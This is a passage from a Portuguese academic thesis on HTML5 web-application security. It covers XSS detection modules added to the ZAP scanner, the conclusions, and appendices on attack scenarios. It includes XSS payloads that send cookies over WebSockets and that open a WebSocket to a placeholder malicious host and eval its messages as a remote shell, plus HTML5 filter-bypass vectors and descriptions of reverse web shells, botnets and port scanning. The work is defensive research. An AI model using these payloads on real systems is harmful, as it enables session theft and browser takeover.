Ale´m disso, atrave´s da utilizac¸a˜o de uma vulnerabilidade XSS, o atacante e´
capaz de implementar praticamente qualquer ataque descrito na secc¸a˜o 6.4.6.1.
A Listagem 7.10 representa precisamente um dos vetores de ataque utilizados na
detec¸a˜o de vulnerabilidades XSS que tiram partido das potencialidades dos Web
Sockets.
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var ws = new WebSocket("ws://localhost:8787/jWebSocket/jWebSocket");
ws.onopen = function() {
s.send(\"cookies=\"+document.cookie);
};
Listagem 7.10: Vetor de ataque XSS para explorar Web Sockets.
Um outro exemplo de vetor de ataque que visa detetar o estabelecimento de uma
shell remota entre o browser da vitima e um servidor arbitra´rio e´ o apresentado
na Listagem 7.11. Atrave´s deste ataque pode explorar-se um canal Web Socket ja´
existente para controlar o browser em tempo real.
var socket = new WebSocket
("ws://malicious-service.invalid:80");
socket.onmessage = function(e) {
eval(e.data);
};
Listagem 7.11: Vetor de ataque XSS para simular uma shell remota.
A utilizac¸a˜o de uma conexa˜o Web Socket em vetores de ataques XSS, ajuda na
detec¸a˜o de vulnerabilidades, pois em caso de sucesso sera´ enviado um pedido para
um servido Web Socket de teste para garantir que o ataque foi bem sucedido.
7.3.6 Novas Variantes de XSS
Na maioria dos casos os programadores protegem as aplicac¸o˜es web da inserc¸a˜o de
conteu´do XSS. No entanto, apesar dos filtros conseguirem bloquear determinadas
tags bem conhecidas que permitem executar JS (tais como <script>, <img>,
etc), a introduc¸a˜o de novas tags e atributos pelo HTML5 permite que os filtros
desatualizados sejam ultrapassados. As Listagens 7.12 e 7.13 apresentam algumas
dessas novas variantes de ataques XSS que foram adicionadas ao ZAP.
<video onerror="javascript:alert(1)">
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<audio onerror="javascript:alert(1)">
Listagem 7.12: Vetores de ataque XSS atrave´s de novas tags HTML5.
Os vetores da Listagem 7.13 teˆm especial interesse por utilizarem novos eventos
que podem ultrapassar os filtros. Por exemplo, se o filtro prevenir a utilizac¸a˜o
de eventos, tais como, onload e onerror baseando-se na expressa˜o regular ”on*”,
enta˜o os vetores 3,5 e 6 va˜o ultrapassar esse teste e atingir a aplicac¸a˜o. Outra
potencialidade introduzida pelo HTML5 e´ poder auto desencadear XSS, atrave´s
do elemento autofocus que invoca o pro´prio focus event handler, sem a necessidade
de interac¸a˜o do utilizador (e.g. vetor 4). Para ale´m destes ainda existem muitos
outros vetores 2.
<form id="demo" onforminput=alert(1)></form>
<input type=text onunload=alert(1)>
<form id="test"></form><button form="test"
formaction="javascript:alert(1)">X</button>
<input onfocus=write(1) autofocus>
<video poster=javascript:alert(1)//></video>
<form><button formaction="javascript:alert(1)">X</button>
Listagem 7.13: Vetores de ataque XSS atrave´s de novos eventos HTML5.
7.4 Testes de Detec¸a˜o
Quanto aos testes de penetrac¸a˜o realizados sobre a aplicac¸a˜o html5vuln, verificou-
se que a dificuldade de detec¸a˜o de vulnerabilidades HTML5 via ZAP, esta´ em
primeiro lugar relacionada com a capacidade de detec¸a˜o do pro´prio ZAP relati-
vamente a`s ameac¸as comuns (i.e. XSS, CSRF, entre outras), e a`s dificuldades
que estas acarretam. Em segundo lugar com os nomes atribu´ıdos a`s varia´veis e
protocolos, tal como foi descrito nas secc¸o˜es anteriores.
2http://heideri.ch/jso/
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Figura 7.6: Exemplo de detec¸a˜o de vulnerabilidades HTML5 do ZAP.
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Os testes de detec¸a˜o realizados demonstraram que o ZAP consegue identificar a
existeˆncia das vulnerabilidades e dos riscos de seguranc¸a discutidos neste cap´ıtulo.
No entanto, em alguns casos e´ necessa´rio ensina´-lo para que essa identificac¸a˜o
tenha sucesso. Esta detec¸a˜o apenas acontece quando o co´digo injetado afeta a
mesma pa´gina que foi explorada na aplicac¸a˜o, caso contra´rio essa vulnerabilidade
na˜o e´ identificada. Resumindo, relativamente a` capacidade de detec¸a˜o, apenas se
pode concluir que determinada aplicac¸a˜o apresenta certas vulnerabilidades, mas
nunca se pode concluir quanto a` total inexisteˆncia delas.
A Figura 7.6 corresponde a um exemplo de detec¸a˜o do ZAP recorrendo a estes
novos mo´dulos. Neste caso foi identificado um risco de seguranc¸a relativo a uma
utilizac¸a˜o indevida dos Web Sockets para tentar roubar o cookie da sessa˜o, atrave´s
da injec¸a˜o do vetor de ataque ilustrado na figura (i.e. com o texto selecionado).
Atrave´s da mesma figura tambe´m e´ vis´ıvel a detec¸a˜o de um risco de seguranc¸a
relativo a´ ma´ utilizac¸a˜o do CORS. Pois como se pode ver o cabec¸alho da resposta
HTTP possui a propriedade Access-Control-Allow-Origin definida como ”*”, assim
como a propriedade Access-Control-Allow-Credentials definida como true o que
tambe´m permite enviar os cookies.
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Cap´ıtulo 8
Conclusa˜o e Trabalho Futuro
O HTML5 traz melhorias significativas para a web, e com isso novas preocupac¸o˜es
de seguranc¸a. Os conceitos e caracter´ısticas apresentadas ao longo deste docu-
mento, focam precisamente algumas dessas preocupac¸o˜es relativas aos novos re-
cursos HTML5, descritos nas especificac¸o˜es da W3C e WHATWG.
8.1 Conclusa˜o
Este trabalho consiste sobretudo num levantamento detalhado sobre a seguranc¸a
na web, sobre quais as principais vulnerabilidades presentes nas aplicac¸o˜es web, e
como estas va˜o evoluindo com o aparecimento de novas tecnologias como e´ o caso
do HTML5. O scanning de seguranc¸a de aplicac¸o˜es e a detec¸a˜o de algumas dessas
vulnerabilidades e´ outro dos objetivos delineados no inicio deste documento.
Olhando um pouco para os objetivos propostos, o primeiro objetivo e´ coberto
no cap´ıtulo 3, onde sa˜o apresentados quais os mo´dulos que constituem um BB-
WASS, incluindo algumas das suas maiores dificuldades. Resumindo os maiores
desafios dos BB-WASS situam-se na fase de crawling e de ana´lise das respostas.
Relativamente a` fase de crawling a dificuldade ocorre quando as pa´ginas requerem
inputs humanos (e.g. dados de login, captcha, etc). Outro desafio do scanner
reside na necessidade de identificac¸a˜o de quando e onde realizar outra ronda de
101
Conclusa˜o e Trabalho Futuro
crawling apo´s a submissa˜o de dados para a aplicac¸a˜o. A dificuldade na ana´lise das
respostas tem a ver com a decisa˜o de classificar determinada detec¸a˜o como sendo
uma vulnerabilidade sem uma garantia absoluta.
O objetivo de identificar as ameac¸as de seguranc¸a mais comuns e que mais fre-
quentemente afetam as aplicac¸o˜es web sa˜o descritas no cap´ıtulo 4. Neste cap´ıtulo
sa˜o identificadas o TOP5 das ameac¸as de seguranc¸a mais cr´ıticas classificadas pela
OWASP e aquelas que, de certa forma, esta˜o mais relacionadas com o HTML5.
Neste caso, e´ apresentado em que consiste cada uma delas, exemplos de aplicac¸a˜o
das mesmas e que medidas devem ser tomadas para prevenir essas ameac¸as.
A ana´lise dos riscos de seguranc¸a derivados das novas funcionalidades do HTML5,
relativo ao terceiro objetivo sa˜o cobertos no cap´ıtulo 6. Onde sa˜o descritas cada
uma das funcionalidades, acompanhadas da descric¸a˜o dos seus riscos, de qual o
impacto destes riscos para com o cliente ou UA, assim como da apresentac¸a˜o de
medidas de atenuac¸a˜o. De entre essa ana´lise concluiu-se que o cliente precisa
ser protegido, assim como a implementac¸a˜o segura do lado do servidor tambe´m e´
necessa´ria. Nem todas as vulnerabilidades podem ser atenuadas atrave´s da imple-
mentac¸a˜o segura no lado do servidor, algumas tambe´m afetam o lado do cliente e o
servidor nada pode fazer para proteger o lado do cliente. Por exemplo, o servidor
na˜o consegue prevenir o envenenamento da cache de aplicac¸o˜es oﬄine. A s´ıntese
do cap´ıtulo em causa ja´ resume as principais medidas a adotar, mas conve´m que
sejam seguidas a medidas apresentadas para cada uma das funcionalidades.
O contributo apresentado no cap´ıtulo 7 corresponde ao derradeiro objetivo re-
lativo a` contribuic¸a˜o com mo´dulos extra de detec¸a˜o adicionados ao ZAP, e que
acaba por corresponder a uma prova de conceito de toda esta ana´lise. Tambe´m
ficou vis´ıvel que as vulnerabilidades mais influentes sa˜o a injec¸a˜o de co´digo em
particular o XSS. No caso do HTML5 o XSS apresenta-se como o me´todo ideal
para os testes de penetrac¸a˜o. Tudo o que envolve a execuc¸a˜o de JS pode acarretar
um risco, por isso ter especial cuidado com isso. Caso uma aplicac¸a˜o web baseada
em HTML5 na˜o possua vulnerabilidades XSS, enta˜o pode considerar-se que os
riscos de seguranc¸a herdados do HTML5 sa˜o reduzidos. No entanto, importa reter
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que com o HTML5 os ataques XSS ficaram muito mais poderosos e perigosos e
ate´ mesmo mais fa´ceis de executar, sobretudo devido ao CORS, Web Messaging e
Web Sockets, pois tornou o roubo de informac¸a˜o muito mais fa´cil.
Pode concluir-se ainda que a capacidade de detec¸a˜o dos scanners Black Box,
acusa dificuldade na detec¸a˜o de Stored XSS e Stored SQL Injection, sendo esta
ultima ainda mais dif´ıcil de detetar, ate´ mesmo quando os scanners sa˜o ensinados
para o efeito.
8.2 Trabalho Futuro
Como trabalho futuro, e ainda nesta linha de orientac¸a˜o seria enriquecedor rea-
lizar testes adicionais sobre a capacidade de detec¸a˜o do ZAP perante diferentes
aplicac¸o˜es web HTML5 vulnera´veis. Outro ponto a ter em considerac¸a˜o e igual-
mente importante seria uma ana´lise sobre poss´ıveis falhas de seguranc¸a associadas
aos browsers originadas pela implementac¸a˜o destas novas funcionalidades por parte
dos browsers.
Outro trabalho a considerar seria uma ana´lise das Web Application Firewalls.
Onde sa˜o aplicadas um conjunto de regras durante uma conversac¸a˜o HTTP. Tipi-
camente, essas regras de validac¸a˜o de pedidos cobrem ataques comuns como XSS
e SQL Injection, e que podem ser identificados e bloqueados antes de afetarem a
aplicac¸a˜o. A contribuic¸a˜o aqui tem a ver com o facto dos filtros estarem desatu-
alizados, devido ao aparecimento de novas tags, atributos, e protocolos como e´ o
caso dos Web Sockets e que podem permitir ultrapassar as WAFs.
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Apeˆndice A
Informac¸a˜o Adicional Sobre o
HTML5
Suma´rio: Esta secc¸a˜o apresenta alguma informac¸a˜o complementar relativa a`s
funcionalidades do HTML5, e a quais as suas implicac¸o˜es nos browsers.
A.1 Controlo de Acesso baseado no Cabec¸alho
de Origem
O co´digo de controlo de acesso apresentado na Figura A.1, indica que o domı´nio
B apenas aceita pedidos se o domı´nio A for a origem, caso contra´rio o acesso e´
negado.
Figura A.1: Ma´ implementac¸a˜o da decisa˜o de controlo de acesso pelo domı´nio
B.
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Conclusa˜o, na˜o e´ seguro basear a decisa˜o de controlo de acesso para pedidos
XMLHttpRequest no cabec¸alho de origem. Este me´todo pode ser facilmente con-
tornado por um atacante atrave´s do envio de um cabec¸alho de origem falsificado.
A.2 Oﬄine Web Application
A.2.1 Ficheiro Cache Manifest
O ficheiro de cache manifest, e´ o ficheiro fulcral das aplicac¸o˜es web oﬄine. Esse
ficheiro divide-se em treˆs secc¸o˜es e precisa ser iniciado com o texto ”CACHE
MANIFEST”.
As treˆs principais secc¸o˜es sa˜o:
• CACHE: Ficheiros a armazenar em cache. Os recursos listados aqui sera˜o
armazenados em cache e esta˜o dispon´ıveis oﬄine.
• NETWORK: Ficheiros que na˜o devem ser armazenado em cache. Esses
recursos nunca devem ser armazenados em cache nem armazenados oﬄine.
• FALLBACK: Ficheiro que define o que deve acontecer quando determinados
ficheiros (por qualquer motivo) na˜o podem ser carregados em cache.
Exemplo do ficheiro manifest:
Figura A.2: Exemplo de um ficheiro manifest.
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A.2.2 Comportamento do UA quando a Cache e´ Eliminada
A Tabela A.1 mostra os diferentes comportamentos do UA, identificando se a
cache da aplicac¸a˜o web oﬄine e´ eliminada apo´s o histo´rico do UA relativo a essas
pa´ginas ser eliminado.
UA A remoc¸a˜o do histo´rico do UA remove a cache
de aplicac¸o˜es web?
Mozilla Firefox 11 Sim
Google Chrome 21 Sim
Internet Explorer 9 A cache de aplicac¸o˜es web oﬄine na˜o e´ suportada
Internet Explorer 10 Suporte para cache de aplicac¸o˜es web oﬄine, mas com-
portamento inserto 1
Opera 12.50 Suporte para cache de aplicac¸o˜es web oﬄine, mas com-
portamento desconhecido
Safari 6.0 Suporte para cache de aplicac¸o˜es web oﬄine, mas com-
portamento desconhecido
Tabela A.1: Comportamento do browser relativo a` eliminac¸a˜o da cache de aplicac¸o˜es
web oﬄine.
A.3 Informac¸o˜es sobre o Atributo sandbox
A Iframe possui um atributo interessante designado sandbox. Este tem associado a
si um conjunto de propriedades com o propo´sito de poder limitar a funcionalidade
da Iframe. Vejamos algumas das suas caracter´ısticas [W3C, 2012e] :
Caracter´ısticas do atributo sandbox :
• O atributo sandbox, quando especificado, permite um conjunto de novas res-
tric¸o˜es extra sobre qualquer conteu´do hospedado na Iframe. Os poss´ıveis va-
lores sa˜o allow-forms, allow-same-origin, allow-scripts, e allow-top-navigation:
– O valor allow-same-origin permite que o conteu´do seja tratado como
sendo da mesma origem, em vez de forc¸a´-lo a uma u´nica origem;
– O valor allow-top-navigation permite que o conteu´do possa navegar
para o seu contexto de navegac¸a˜o de n´ıvel superior;
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– Os valores allow-forms e allow-scripts da˜o permisso˜es a forms e scripts
respetivamente (embora as scripts estejam impedidas de criar popups).
• Quando o atributo e´ definido sem valores; o conteu´do e´ tratado como sendo
de uma u´nica origem, as forms e as scripts esta˜o desativadas, os links esta˜o
impedidos de atingir outros contextos do UA, e os plugins esta˜o seguros.
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Cena´rios de Ataque
Suma´rio: Apresentac¸a˜o das provas de conceito associadas a alguns dos cena´rios
de ataque do HTML5.
B.1 CORS
B.1.1 Recolha de Informac¸a˜o
O CORS possibilita o scanning da Intranet baseado no tempo de resposta dos
domı´nios de origem. Os pedidos atrave´s da origem podem ser abusados de forma
a obter o conhecimento sobre a existeˆncia ou na˜o de domı´nios internos, indepen-
dentemente dos mesmos terem definido ou restringido o cabec¸alho Access-Control-
Allow-Origin, com os domı´nios pretendidos. Isto pode ser efectuado simplesmente
enviando pedidos XMLHttpRequest destinados a nomes de domı´nios arbitra´rios,
baseando as deciso˜es da existeˆncia ou na˜o do domı´nio nos seus tempos de resposta.
Dependendo dos tempos de resposta dos pedidos enviados para uma URI pode
ser conclu´ıdo:
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Tempo resposta Raza˜o de Erro Observac¸a˜o
(aprox 39 ms) O domı´nio na˜o existe. Nome de domı´nio inva´lido e
path da URI inva´lida.
(aprox 863 ms) O domı´nio na˜o existe mas
e´ retornada a mensagem
HTTP 404.
Nome de domı´nio va´lido
mas na˜o corresponde a uma
path valida.
(aprox 128 ms) Acesso negado baseado no
cabec¸alho Access-Control-
Allow-Origin.
Nome de domı´nio e path va-
lidos.
B.1.2 Estabelecimento de uma Shell remota
Quando uma aplicac¸a˜o web possui uma vulnerabilidade de XSS, um atacante
esta´ apto para poder realizar praticamente qualquer coisa que o utilizador possa.
Portanto, se for poss´ıvel a inserc¸a˜o de co´digo JS numa aplicac¸a˜o web podera´ ser
poss´ıvel iniciar uma Web Shell reversa utilizando ferramentas, tal como a “Shell
of the Future (SoF)” [Kuppan, 2010b] .
A SoF permite a um atacante criar um tu´nel de tra´fego HTTP sobre CORS
entre o UA da v´ıtima e o servidor atacante. A SoF possui tanto o servidor de Proxy
como o servidor Web. Para implementar este ataque, e´ necessa´rio que o atacante
injete algum co´digo XSS no site vulnera´vel, que configure o seu UA para utilizar a
Proxy da SoF, e que inicie a SoF. Posteriormente, para se poder explorar as sesso˜es
das v´ıtimas, basta aceder a` interface web (i.e. http://127.0.0.1/sotf.console). A
SoF tambe´m funciona com pedidos HTTPS.
O ataque funciona da seguinte forma:
1. Em primeiro lugar o atacante tem de encontrar um site vulnera´vel a XSS
e injetar co´digo JS para explorar o UA da v´ıtima (i.e. usar as Scripts de
explorac¸a˜o da SoF- e1.js 1 e e2.js 2 ).
2. A v´ıtima precisa visitar o site que posteriormente executa o co´digo do ata-
cante.
1http://www.andlabs.org/tools/sotf/e1.js
2http://www.andlabs.org/tools/sotf/e2.js
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Figura B.1: Exemplo de ataque XSS utilizando a Script e1.js da SoF
3. Esse co´digo efetua um pedido atrave´s do domı´nio para o site do atacante, o
qual responde com o cabec¸alho Access-Control-Allow-Origin (i.e. indicando
que tem acesso aos recursos do domı´nio do atacante).
4. O co´digo injetado agora mante´m um canal de comunicac¸a˜o bidirecional com
o servidor do atacante atrave´s de chamadas entre domı´nios.
5. O atacante esta´ enta˜o apto para poder aceder ao site atrave´s do navegador
da v´ıtima atrave´s do envio de comandos sobre o canal.
Partindo do pressuposto que as condic¸o˜es acima se verificam, enta˜o os utili-
zadores esta˜o sujeitos ao roubo das suas sesso˜es de utilizador atrave´s do seu UA
(i.e. utilizando uma Web Shell reversa). Ou seja, os pedidos XMLHttpRequest sa˜o
usados para enviar e receber o conteu´do da aplicac¸a˜o. A partir daqui o atacante
possui uma conexa˜o com o UA da v´ıtima e utiliza o seu UA como uma “proxy”.
Para ale´m da possibilidade de roubo do Cookie da sessa˜o, este tipo de ataque
tambe´m pode ser estendido para atacar aplicac¸o˜es internas (i.e. na˜o acess´ıveis di-
retamente pelo atacante). Previamente ao HTML5 ja´ era poss´ıvel realizar ataques
semelhantes (e.g. usar XSS-Shell [Labs, 2008] ) mas com CORS estes ataques
tornam-se mais fa´ceis e poderosos.
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B.2 Web Storage
B.2.1 Hijaking da Sessa˜o
Os Cookies sa˜o comummente utilizados como me´todo de identificac¸a˜o dos utili-
zadores perante o servidor. Mas existe um problema associado com os Cookies
de sessa˜o, pois podem ser roubados via XSS. Se um atacante conseguir inserir o
co´digo da Figura B.2 na aplicac¸a˜o web, consegue roubar o Cookie da sessa˜o.
Figura B.2: Exemplo de hijacking da sessa˜o a partir do cookie.
Com o Local Storage a lo´gica de ataque permanece e apenas a tecnologia JS
usada e´ que muda. A u´nica diferenc¸a esta´ no facto do identificador de sessa˜o
tambe´m poder ser armazenado no armazenamento local. Pore´m o atacante tem
de ser mais preciso, pois necessita saber qual o nome da varia´vel. Portanto, atrave´s
do co´digo da Figura B.3 um atacante consegue igualmente roubar o identificador
da sessa˜o e usufruir da sessa˜o do utilizador.
Figura B.3: Exemplo de hijacking da sessa˜o a partir da Local Storage.
Perante este cena´rio de ataque o Local Storage apresenta uma desvantagem
relativamente aos Cookies, em termos de protec¸a˜o. No caso dos Cookies pode
ser utilizada a flag “HTTPonly” para evitar que o Cookie possa ser acess´ıvel
via JS, tornando o roubo de Cookies (identificadores de sessa˜o) atrave´s de XSS
imposs´ıvel. No caso do Local Storage a flag “HTTPonly” esta´ em falta e portanto
esta camada de protec¸a˜o na˜o pode ser utlizada para identificadores armazenados
no LocalStorage.
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B.2.2 Rastreamento do utilizador
Atrave´s do Local Storage do HTML5 uma aplicac¸a˜o web pode armazenar in-
formac¸a˜o no UA do utilizador destinada ao seu rastreamento e pode relaciona-la
com a pro´pria sessa˜o. Por exemplo, uma aplicac¸a˜o anunciante de terceiros (ou
qualquer entidade capaz de conter conteu´do distribu´ıdo de va´rias fontes) pode-
ria usar um identificador exclusivo armazenado na sua a´rea de armazenamento
local do UA para rastrear um utilizador nas va´rias sesso˜es, de forma a construir
um perfil de interesses do utilizador para conseguir uma publicidade altamente
segmentada [W3C, 2011] . Este relacionamento entre utilizador e sessa˜o era
igualmente conseguido anteriormente ao HTML5 recorrendo aos Cookies.
B.3 Web Sockets API
B.3.1 Shell remota
Para que este cena´rio de ataque possa ser concretiza´vel devem ser assumidas uma
das seguintes possibilidades:
1. O atacante esta´ apto para influenciar o utilizador a visitar o seu site malici-
oso;
2. Ou o atacante esta´ apto para explorar uma vulnerabilidade XSS numa aplicac¸a˜o
web que o utilizador visite.
Considerando que o atacante esta´ apto para executar co´digo JS no UA da
v´ıtima, enta˜o podera´ ser estabelecida uma conexa˜o Web Socket, originando uma
Shell remota. Desta forma, o atacante pode executar qualquer co´digo JS no UA,
possibilitando a acesso a todos os dados ou o redireccionamento do UA para outros
sites no sentido de enviar spam ou instalar conteu´do malicioso no UA. A grande
potencialidade deste ataque e´ que a Shell remota esta´ aberta enquanto o UA esti-
ver, e portanto o controlo do ambiente do UA esta´ a` disponibilidade do atacante,
com toda a funcionalidade que o JS dispo˜e.
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B.3.2 Botnets baseados na web
Sempre que um utilizador clica num link, este esta´ a dar a oportunidade de
execuc¸a˜o de co´digo JS na pro´pria ma´quina. Uma das razo˜es que aumenta ainda
mais esta janela de oportunidade e´ o conceito de navegac¸a˜o por tabs. Pois a maioria
dos utilizadores possui va´rias tabs abertas que permanecem nesse estado durante
praticamente toda a sessa˜o de navegac¸a˜o do browser, que pode durar horas. Isto e´
o ambiente ideal para que uma entidade externa possa tirar partido da capacidade
de processamento do utilizador e da sua largura de banda para fins maliciosos
[Kuppan, 2010a] .
Figura B.4: Topologia de um ataque Botnet baseado em Web Sockets.
Para este cena´rio de ataque devem ser assumidas as mesmas condic¸o˜es que fo-
ram apresentadas no ataque via Shell remota (ver Apeˆndice B.3.1). Mas com a
particularidade de que o atacante tem de conseguir influenciar uma grande quan-
tidade de utilizadores a visitar o pro´prio site ou a explorar domı´nios vulnera´veis.
Isso pode ser conseguido de va´rias formas: Spam via e-mail; Spam via Twitter;
ataques XSS persistentes em sites populares, fo´runs, etc.
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Partindo do principio que o UA e´ afetado pela script proveniente do site mali-
sioso, enta˜o e´ considerado como sendo mais um no´ do sistema de processamento
distribuindo do atacante. Este cena´rio de ataque e´ ideal para realizar ataques DoS
distribu´ıdos, assim como o cracking de palavras-chave distribu´ıdo. A identificac¸a˜o
da verdadeira fonte de ataque e´ dif´ıcil de descobrir porque as origens de ataque
sa˜o os va´rios UAs. Os Web Workers tambe´m sa˜o muito u´teis para potenciar estes
ataques e sa˜o portanto cobertos apenas uma vez na secc¸a˜o 6.5.1.
B.3.3 Scanning de portas
Este ataque e´ semelhante ao ataque baseado no tempo de resposta do CORS
descrito no Apeˆndice B.1.1. Do mesmo modo atrave´s do CORS e da API Web
Socket, tambe´m e´ poss´ıvel determinar o estado das portas (i.e. distinguir se a
porta esta´ aberta, fechada ou filtrada) atrave´s do tempo de resposta.
Quando e´ efetuada uma conexa˜o Web Socket ou CORS para uma porta es-
pec´ıfica de um enderec¸o IP numa rede interna, o seu estado inicial e´ respetivamente
readyState 3 0 para os Web Sockets e readyState 1 para o CORS. Dependendo do
estado da porta remota, os estados ReadyState iniciais va˜o mudar mais cedo ou
mais tarde. A tabela abaixo mostra a relac¸a˜o entre o estado da porta remota
e o per´ıodo de durac¸a˜o do estado readyState inicial. Observando a durac¸a˜o da
mudanc¸a do estado inicial do ReadyState podemos determinar o estado da porta
remota [Kuppan, 2010a] .
Caso um atacante pretenda realizar o scanning de portas de uma rede interna e´
preciso influenciar um utilizador interno a aceder ao seu site, o qual contem co´digo
JS malicioso baseado na API Web Socket. Em caso de sucesso se for encontrada
uma porta aberta na rede interna, pode ser estabelecido um tu´nel atrave´s do UA
[Shah, 2012b] . Este processo permite contornar a Firewall e permite o acesso ao
3O atributo readyState representa o estado da conexa˜o. O valor 0 indica que a conexa˜o
ainda na˜o foi estabelecida. O valor 1 indica que a conexa˜o foi estabelecida e que a comunicac¸a˜o
e´ poss´ıvel.
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Estado da Porta WebSocket (ReadyState 0) COR (ReadyState 1)
Aberta 1 <100 ms <100 ms
Fechada aprox 1000 ms aprox 1000 ms
Filtrada >30000 ms >30000 ms
Tabela B.1: Ambiente baseado no estado das portas. Proveniente de [Kuppan, 2010a]
.
1 Para os tipos de resposta da aplicac¸a˜o 1 e 2 pode concluir-se que a porta esta´
aberta, pois os tempos de resposta sa˜o semelhantes. Para ou restantes tipos e´
mais dif´ıcil concluir pois os tempos de resposta variam e podem ser confundidos
com o estado de porta filtrada.
conteu´do interno. Uma aplicac¸a˜o do POC deste cena´rio pode ser encontrada em
[Kuppan, 2011] .
No entanto, existem algumas limitac¸o˜es para a realizac¸a˜o do scanning de portas
usando este me´todo. A principal limitac¸a˜o e´ que todos os browsers bloqueiam
conexo˜es para portas bem conhecidas, e portanto na˜o podem ser verificadas. Outra
limitac¸a˜o tem a ver com a natureza da porta da aplicac¸a˜o pois a resposta e a
interpretac¸a˜o da mesma poder variar [Kuppan, 2010a] .
Existem quatro tipos de respostas especta´veis:
1. Fecha apo´s conexa˜o: A aplicac¸a˜o termina a ligac¸a˜o assim que a conexa˜o
e´ estabelecida devido a` incompatibilidade do protocolo.
2. Responde e Fecha apo´s conexa˜o: Semelhante ao tipo 1, mas antes de
fechar a conexa˜o envia alguma resposta por definic¸a˜o.
3. Aberta sem resposta: A aplicac¸a˜o mante´m a conexa˜o aberta esperando
mais dados ou por dados que correspondam a` sua especificac¸a˜o de protocolo.
4. Aberta com resposta: Semelhante ao tipo 3 mas a aplicac¸a˜o envia alguma
resposta por definic¸a˜o.
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Tipo de aplicac¸a˜o Web Socket (ReadyState 0) / COR (ReadyState 1)
Fecha apo´s conexa˜o <100 ms
Responde e Fecha
apo´s conexa˜o
<100 ms
Aberta sem resposta >30000 ms
Aberta com resposta <100 ms (FF & Safari) |>30000 ms (Chrome)
Tabela B.2: Ambiente dos Web Sockets e COR para cada tipo de respostas
da aplicac¸a˜o. Proveniente de [Kuppan, 2010a] .
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